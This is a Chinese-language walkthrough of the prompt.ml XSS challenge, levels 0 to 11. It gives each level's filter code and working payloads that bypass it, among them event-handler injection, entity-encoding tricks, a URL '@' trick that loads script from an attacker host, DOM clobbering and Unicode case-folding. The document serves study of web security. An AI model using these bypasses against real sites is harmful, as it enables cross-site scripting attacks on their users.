链接地址:
规则
1、成功执行prompt(1).
2、payload不需要用户交互
3、payload必须对下述浏览器有效:
- Chrome(最新版)
- Firefox(最新版)
- IE10 及以上版本(或者IE10兼容模式)
4、每个级别至少给出两种浏览器的答案
5、字符越少越好
level 0
function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' + input + '">';
}
闭合以后就好说
"><script>prompt(1)</script>//
"><svg/onload="prompt(1)
level 1
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');
return '<article>' + input + '</article>';
}
这个主要有正则的过滤,这个是将<>
之间进行匹配,然后替换成空,所以不能出现>
<svg/onload=prompt(1)
还有其他
<img src=1 onerror=prompt(1)
level 2
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');
// ok seriously, disallows equal signs and open parenthesis
return input;
}
这个正则表示的是将=
或(
替换为空
所以只有将其进行编码绕过
<svg><script>prompt(1)</script>
由于要想将编码还原,即(
(十六进制)或者(
(十进制)或者(
(html实体编码)会被还原成(
这里的svg不能去掉,没有<svg>
的话就直接执行了,原因在于script
属于Raw text elements
,内部文本遵循着不转义规则,svg
在HTML
的语境下,属于Foreign Elements
,意味着标准不由HTML
定义。而遵循着SVG
的定义。SVG
直接继承自XML
,它和XML
一样,解析规则只区分两种情况:正常情况下,实体会被转义,如<
;被转义为<
,(
,<![CDATA[
和]]>
包含的实体则不转义,而\u0028
只有有在ECMAScript
上下文的字符串、正则表达式、标志符中才被当作(
。
官方wp中还将简化一种
<svg><script>prompt(1)<b>
但其不能在chrome中运行成功
还有一种支持es6的情况,使用eval会自动解码执行
<script>eval.call`${'prompt\x281)'}`</script>
或是
<script>prompt.call`${
1}`</script>
level 3
function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');
// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}
这个是将->
替换成_
,并要求绕过注释
这个只要想办法闭合注释即可,在2012年的时候,html可以-->
或--!>
闭合注释
--!><svg/onload=prompt(1)
level 4
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}
不懂
1、这个题目是利用url的特性绕过,浏览器支持这样的url:
http://user:password@attacker.com。但是http://user:password/@attacker.com是不允许的。由于这里的正则特性和decodeURIComponent函数,所以可以使用%2f绕过,如下:http://prompt.ml%2f@attacker.com。所以域名越短,答案就越短。
//prompt.ml%2f@xx.xx.xx.xx/1.JS
(这里用了@的黑魔法,后面是自己xss)
level 5
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');
return '<input value="' + input + '" type="text">';
}
过滤了>
,也就是说不能闭合,由于onxxx=
全部替换成_
,这里利用回车绕过即可
然后有一种方法就是利用image类型,由于最后的type并不能覆盖前一个type,所以完全可以定义一个类型
"type=image src onerror
="prompt(1)
level 6
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);
var form = document.createElement('form');
form.action = formURL;
form.method = 'post';
for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}
return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}
分析源码可以看到,大概是由#
分割,前面赋给form.action
,使method=post
,后面以json格式赋给formdata
,把formdata
中的属性循环赋给了input。后面满足forms.action
存在即执行提交,所以这里使用js伪协议。由于允许我们创建我们自己的输入,这些输入可以用来破坏窗体的action属性。由于DOM破坏,document.forms [0] .action
将返回我们新创建的输入字段而不是实际的action属性,因此可以执行JavaScript。
javascript:prompt(1)#{
"action":1}
level 7
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}
意思是根据#
分离,每一部分赋给一个title
,如果超过12字符,就截取前12个。
"><svg/a=#"onload='/*#*/prompt(1)'
结果
<p class="comment" title=""><svg/a="></p>
<p class="comment" title=""onload='/*"></p>
<p class="comment" title="*/prompt(1)'"></p>
官方提供了几个在MSIE的解答
"><script x=#"async=#"src="//⒛₨
<p class="comment" title=""><script x="></p>
<p class="comment" title=""async="></p>
<p class="comment" title=""src="//⒛₨"></p>
小技巧:IE下可以使用async
来加载不需要闭合的script文件.如下:
<script src="test.js" async>
level 8
function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');
return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}
按理说过滤了\r\n</"
,返回了// console.log("input")
,所以需要绕过过滤规则逃逸注释符,类似结果如下:
<script>
// console.log("
prompt(1)
-->");
</script>
这里过滤了两个换行符,所以用到了一个特殊的编码技巧:
U+2028,是Unicode中的行分隔符。
U+2029,是Unicode中的段落分隔符。
–> 在 js 中可当注释使用
也就是答案给的是这,但是无法复现
[U+2028]prompt(1)[U+2028]-->
level 9
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();
// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' + input + '</h1>';
}
正则简单,就是将<
后面的所有字符前全部加_
,也就是将<script>
这样的标签替换为<_SCRIPT>
经过查资料发现这里的关键在于toUpperCase()不仅转换英文字母,也转换一些Unicode字符,比如将ſ
传入就可以转换为S
,这样就可以绕过。
直接构造<ſcript>prompt(1)</ſcript>
不行,因为javascript对大小写敏感,,不识别PROMPT(1)
所以构造的payload为<ſcript/ſrc="xxx/1.js"></ſcript>
,经过转换后就成了<h1><SCRIPT/SRC="HTTP://xxx/1.JS"></SCRIPT></h1>
,成功加载远程的js脚本。
level 10
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');
// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}
这题太简单了,只是进行了html编码,然后将prompt
替换成alert
,由于还将'
替换为空,所以很好绕过
注:encodeURIComponent()
不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ' ( )
。其他字符(比如 :;/?:@&=+$,#
这些用于分隔 URI 组件的标点符号),都是由一个或多个十六进制的转义序列替换的。
p'rompt(1)
level 11
function escape(input) {
// name should not contain special characters
var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');
// data to be parsed as JSON
var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';
// directly "parse" data in script context
return ' \n\
<script> \n\
var data = ' + dataString + '; \n\
if (data.action === "login") \n\
document.write(data.message) \n\
</script> ';
}
先测试一下
发现如果名字相同,一定会输出后面,这也就是需要构造"message":prompt(1)
可是原先有引号,想闭合,发现正则表达式几乎全部过滤,所以只能另想办法
这里的技巧是利用字母操作符来绕过限制,例如in
,instanceof
等等,在这里这两个可以执行成功,payload为"(prompt(1))instanceof"
或者"(prompt(1))in"
。
还有就是”test”(alert(1))
虽然会提示语法错误, 但是还是会执行js语句。类似的alert(1)in”test”
也是一样
虽然报错,但仍可以弹窗